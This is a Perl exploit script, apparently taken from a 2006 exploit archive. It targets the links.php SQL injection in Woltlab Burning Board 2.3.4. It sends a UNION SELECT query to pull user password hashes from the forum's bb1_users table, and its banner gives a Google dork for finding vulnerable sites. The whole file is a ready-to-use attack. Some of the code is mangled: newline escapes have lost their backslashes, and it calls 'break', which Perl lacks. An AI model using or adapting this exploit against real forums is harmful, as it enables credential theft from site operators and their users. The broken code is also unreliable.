#!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
##                                                                            ##
##  Woltlab Burning Board 2.3.4 <= "links.php" SQL Injection Exploit          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Exploit by       |  666 (SR-Crew)                                         ##
##  Bug by           |  x82                                                   ##
##  Googledork       |  inurl:/wbb2/links.php?cat                             ##
##  Usage            |  links.pl [server] [path]                              ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];

if (!$webpage||!$directory) { die "[+] Exploit failedn"; }

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Servern";
print "[+] Exploiting....n";
print $sock "GET $wbb_dir HTTP/1.1n";
print $sock "Accept: */*n";
print $sock "User-Agent: Hackern";
print $sock "Host: $webpagen";
print $sock "Connection: closenn";

while ($answer = <$sock>) {
	if ($answer =~ 
/(................................)</span></b></font>/) {
		print "[+] Hash: $1n";
		exit();
	}
	if ($answer =~ /SQL-DATABASE ERROR/) {
		break;
	}
}

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";
close($sock);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Servern";
print $sock "GET $wbb_dir HTTP/1.1n";
print $sock "Accept: */*n";
print $sock "User-Agent: Hackern";
print $sock "Host: $webpagen";
print $sock "Connection: closenn";

while ($answer = <$sock>) {
	if ($answer =~ 
/(................................)</span></b></font>/) {
		print "[+] Hash: $1n";
		exit();
	}
	if ($answer =~ /SQL-DATABASE ERROR/) {
		print "[+] Try replacing bb1_users with bb2_usersn";
		break;
	}
}
close($sock);

print "[+] Exploit failedn";

# www.Syue.com [2006-05-20]